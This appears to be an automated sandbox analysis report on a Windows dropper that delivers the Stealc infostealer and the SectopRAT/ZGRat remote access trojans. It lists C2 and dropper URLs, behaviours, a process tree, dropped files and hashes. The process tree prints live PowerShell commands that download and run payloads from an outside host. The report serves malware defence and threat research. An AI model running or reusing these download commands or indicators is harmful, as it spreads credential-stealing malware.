Analysis

  • max time kernel
    143s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/05/2024, 08:41

General

  • Target
    d58a180c5d85448472b4e1007fae4b2a.exe
  • Size 49KB
  • Sample240502-klez1sdd3x
  • SHA256 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}

Extracted

Family
  • stealc

C2
  • http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d58a180c5d85448472b4e1007fae4b2a.exe
    "C:\Users\Admin\AppData\Local\Temp\d58a180c5d85448472b4e1007fae4b2a.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1248
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsx33E2.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3032
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c={CHANNEL}','stat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1768
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c={CHANNEL}','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5624
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2796
        • C:\Users\Admin\AppData\Local\Temp\u25o.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u25o.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:3972
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3972 -s 2360
            5⤵
            • Program crash
            PID:5628
        • C:\Users\Admin\AppData\Local\Temp\u25o.2\run.exe
          "C:\Users\Admin\AppData\Local\Temp\u25o.2\run.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:5008
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1336
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5176
        • C:\Users\Admin\AppData\Local\Temp\u25o.3.exe
          "C:\Users\Admin\AppData\Local\Temp\u25o.3.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:5092
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2212
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 1624
          4⤵
          • Program crash
          PID:5848
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id={SPOLO_ID}', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4336
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:3592
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3972 -ip 3972
      1⤵
        PID:3868
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2796 -ip 2796
        1⤵
          PID:932

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              Are.docx

              • Path C:\ProgramData\Are.docx
              • Size 11KB
              • SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
              • MD5 SHA1 SHA512 SSDEEP

              mozglue.dll

              • Path C:\ProgramData\mozglue.dll
              • Size 593KB
              • SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
              • MD5 SHA1 SHA512 SSDEEP

              nss3.dll

              • Path C:\ProgramData\nss3.dll
              • Size 2.0MB
              • SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
              • MD5 SHA1 SHA512 SSDEEP

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
              • Size 1KB
              • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 16KB
              • SHA256 1a8aa6173931a4c7d4c38d34a2f5f24df3695b2d3aefdfc78c9d1792cca20e3a
              • MD5 SHA1 SHA512 SSDEEP

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 16KB
              • SHA256 4768f3f2ae03f7110217d9e27b886b77925258ed023b12ee3db0b7f2a3b5d477
              • MD5 SHA1 SHA512 SSDEEP

              __PSScriptPolicyTest_rjeef5lw.edm.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rjeef5lw.edm.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              e3c743f6

              • Path C:\Users\Admin\AppData\Local\Temp\e3c743f6
              • Size 1.4MB
              • SHA256 0fbcd5a30565b6cc79a77c0d7a31b3f015b3acfb560f977dc8e4b043d6214c47
              • MD5 SHA1 SHA512 SSDEEP

              i1.exe

              • Path C:\Users\Admin\AppData\Local\Temp\i1.exe
              • Size 415KB
              • SHA256 8cdacf8e9bc23446e5a7166cea91ed95e0f204fa9d4c1317e4a9bf63f8481116
              • MD5 SHA1 SHA512 SSDEEP

              ioloDMLog.txt

              • Path C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt
              • Size 3KB
              • SHA256 9c769fd40258c7ab491f69e62ef9cf5d7688f354c11f4ac444bac090da6230eb
              • MD5 SHA1 SHA512

              INetC.dll

              • Path C:\Users\Admin\AppData\Local\Temp\nsx33E2.tmp\INetC.dll
              • Size 25KB
              • SHA256 85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
              • MD5 SHA1 SHA512 SSDEEP

              app.bat

              • Path C:\Users\Admin\AppData\Local\Temp\nsx33E2.tmp\app.bat
              • Size 566B
              • SHA256 b93928bad5418aa4b8fc7265f2b7c0a652b2cdb3a27c79fbdcb7e2db4a0d2392
              • MD5 SHA1 SHA512

              tmp125.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\tmp125.tmp
              • Size 20KB
              • SHA256 ccd15f9c7a997ae2b5320ea856c7efc54b5055254d41a443d21a60c39c565cb7
              • MD5 SHA1 SHA512 SSDEEP

              tmp138.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\tmp138.tmp
              • Size 20KB
              • SHA256 d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f
              • MD5 SHA1 SHA512 SSDEEP

              u25o.0.exe

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.0.exe
              • Size 271KB
              • SHA256 4632f47a007b6b5e852a9cad67dea87960d75fb54ff359c29569cd8cfa9b95e5
              • MD5 SHA1 SHA512 SSDEEP

              u25o.1.zip

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.1.zip
              • Size 3.7MB
              • SHA256 a1dd547a63b256aa6a16871ed03f8b025226f7617e67b8817a08444df077b001
              • MD5 SHA1 SHA512 SSDEEP

              UIxMarketPlugin.dll

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.2\UIxMarketPlugin.dll
              • Size 1.6MB
              • SHA256 cbcea8f28d8916219d1e8b0a8ca2db17e338eb812431bc4ad0cb36c06fd67f15
              • MD5 SHA1 SHA512 SSDEEP

              bunch.dat

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.2\bunch.dat
              • Size 1.3MB
              • SHA256 9387488f9d338e211be2cb45109bf590a5070180bc0d4a703f70d3cb3c4e1742
              • MD5 SHA1 SHA512 SSDEEP

              relay.dll

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.2\relay.dll
              • Size 1.5MB
              • SHA256 7b2db9c88f60ed6dd24b1dec321a304564780fdb191a96ec35c051856128f1ed
              • MD5 SHA1 SHA512 SSDEEP

              run.exe

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.2\run.exe
              • Size 2.4MB
              • SHA256 a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3
              • MD5 SHA1 SHA512 SSDEEP

              whale.dbf

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.2\whale.dbf
              • Size 85KB
              • SHA256 b440170853bdb43b66497f701aee2901080326975140b095a1669cb9dee13422
              • MD5 SHA1 SHA512 SSDEEP

              u25o.3.exe

              • Path C:\Users\Admin\AppData\Local\Temp\u25o.3.exe
              • Size 4.6MB
              • SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
              • MD5 SHA1 SHA512 SSDEEP

              memory/1336-277-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp

              memory/1336-339-0x0000000072A40000-0x0000000072BBB000-memory.dmp

              memory/1768-39-0x0000000005FF0000-0x000000000600A000-memory.dmp

              memory/1768-37-0x0000000005D50000-0x0000000005D9C000-memory.dmp

              memory/1768-19-0x0000000004560000-0x0000000004596000-memory.dmp

              memory/1768-42-0x0000000072F70000-0x0000000073720000-memory.dmp

              memory/1768-20-0x0000000004CC0000-0x00000000052E8000-memory.dmp

              memory/1768-22-0x0000000004B60000-0x0000000004B82000-memory.dmp

              memory/1768-38-0x0000000007350000-0x00000000079CA000-memory.dmp

              memory/1768-18-0x0000000072F7E000-0x0000000072F7F000-memory.dmp

              memory/1768-21-0x0000000072F70000-0x0000000073720000-memory.dmp

              memory/1768-36-0x0000000005B00000-0x0000000005B1E000-memory.dmp

              memory/1768-35-0x0000000005640000-0x0000000005994000-memory.dmp

              memory/1768-24-0x0000000005460000-0x00000000054C6000-memory.dmp

              memory/1768-29-0x00000000054D0000-0x0000000005536000-memory.dmp

              memory/1768-30-0x0000000072F70000-0x0000000073720000-memory.dmp

              memory/2212-331-0x0000021B9B870000-0x0000021B9BD98000-memory.dmp

              memory/2212-324-0x0000021BFE0B0000-0x0000021BFE3B0000-memory.dmp

              memory/2212-330-0x0000021B9A4D0000-0x0000021B9A4F2000-memory.dmp

              memory/2212-337-0x0000021C00030000-0x0000021C0004E000-memory.dmp

              memory/2212-328-0x0000021BFFF80000-0x0000021BFFF8E000-memory.dmp

              memory/2212-335-0x0000021B9A4F0000-0x0000021B9A4FC000-memory.dmp

              memory/2212-334-0x0000021C00050000-0x0000021C000A0000-memory.dmp

              memory/2212-327-0x0000021BFFFC0000-0x0000021BFFFF8000-memory.dmp

              memory/2212-320-0x0000021BFCB10000-0x0000021BFCB1A000-memory.dmp

              memory/2212-326-0x0000021BFFF70000-0x0000021BFFF78000-memory.dmp

              memory/2212-336-0x0000021C00000000-0x0000021C00022000-memory.dmp

              memory/2212-329-0x0000021B9A4C0000-0x0000021B9A4CA000-memory.dmp

              memory/2212-308-0x0000021BF6C00000-0x0000021BFA4F8000-memory.dmp

              memory/2212-309-0x0000021BFDBD0000-0x0000021BFDCE0000-memory.dmp

              memory/2212-310-0x0000021BFCA60000-0x0000021BFCA70000-memory.dmp

              memory/2212-311-0x0000021BFCA80000-0x0000021BFCA8C000-memory.dmp

              memory/2212-312-0x0000021BFCA70000-0x0000021BFCA84000-memory.dmp

              memory/2212-313-0x0000021BFCAD0000-0x0000021BFCAF4000-memory.dmp

              memory/2212-314-0x0000021BFCAF0000-0x0000021BFCAFA000-memory.dmp

              memory/2212-316-0x0000021BFDE20000-0x0000021BFDED2000-memory.dmp

              memory/2212-315-0x0000021BFCB20000-0x0000021BFCB4A000-memory.dmp

              memory/2212-317-0x0000021BFDED0000-0x0000021BFDF4A000-memory.dmp

              memory/2212-318-0x0000021BFDF50000-0x0000021BFDFB2000-memory.dmp

              memory/2212-319-0x0000021BFE030000-0x0000021BFE0A6000-memory.dmp

              memory/2796-254-0x0000000000400000-0x0000000001A33000-memory.dmp

              memory/2796-272-0x0000000000400000-0x0000000001A33000-memory.dmp

              memory/3972-161-0x0000000000400000-0x0000000001A0F000-memory.dmp

              memory/3972-91-0x0000000061E00000-0x0000000061EF3000-memory.dmp

              memory/4336-75-0x0000000006890000-0x00000000068DC000-memory.dmp

              memory/4336-73-0x0000000006370000-0x00000000066C4000-memory.dmp

              memory/5008-255-0x0000000072A40000-0x0000000072BBB000-memory.dmp

              memory/5008-248-0x00007FFA2EA10000-0x00007FFA2EC05000-memory.dmp

              memory/5008-247-0x0000000072A40000-0x0000000072BBB000-memory.dmp

              memory/5092-307-0x0000000000400000-0x00000000008AD000-memory.dmp

              memory/5092-296-0x0000000000400000-0x00000000008AD000-memory.dmp

              memory/5176-341-0x0000000071510000-0x0000000072764000-memory.dmp

              memory/5176-349-0x0000000004CE0000-0x0000000004D30000-memory.dmp

              memory/5176-352-0x00000000058E0000-0x00000000058FE000-memory.dmp

              memory/5176-344-0x00000000005C0000-0x0000000000686000-memory.dmp

              memory/5176-345-0x0000000004BC0000-0x0000000004C52000-memory.dmp

              memory/5176-346-0x0000000005210000-0x00000000057B4000-memory.dmp

              memory/5176-347-0x0000000004E30000-0x0000000004FF2000-memory.dmp

              memory/5176-351-0x0000000005DF0000-0x000000000631C000-memory.dmp

              memory/5176-348-0x0000000004C60000-0x0000000004CD6000-memory.dmp

              memory/5176-350-0x0000000004B40000-0x0000000004B4A000-memory.dmp

              memory/5624-46-0x0000000072F70000-0x0000000073720000-memory.dmp

              memory/5624-59-0x0000000072F70000-0x0000000073720000-memory.dmp

              memory/5624-45-0x0000000072F70000-0x0000000073720000-memory.dmp

              memory/5624-44-0x0000000072F70000-0x0000000073720000-memory.dmp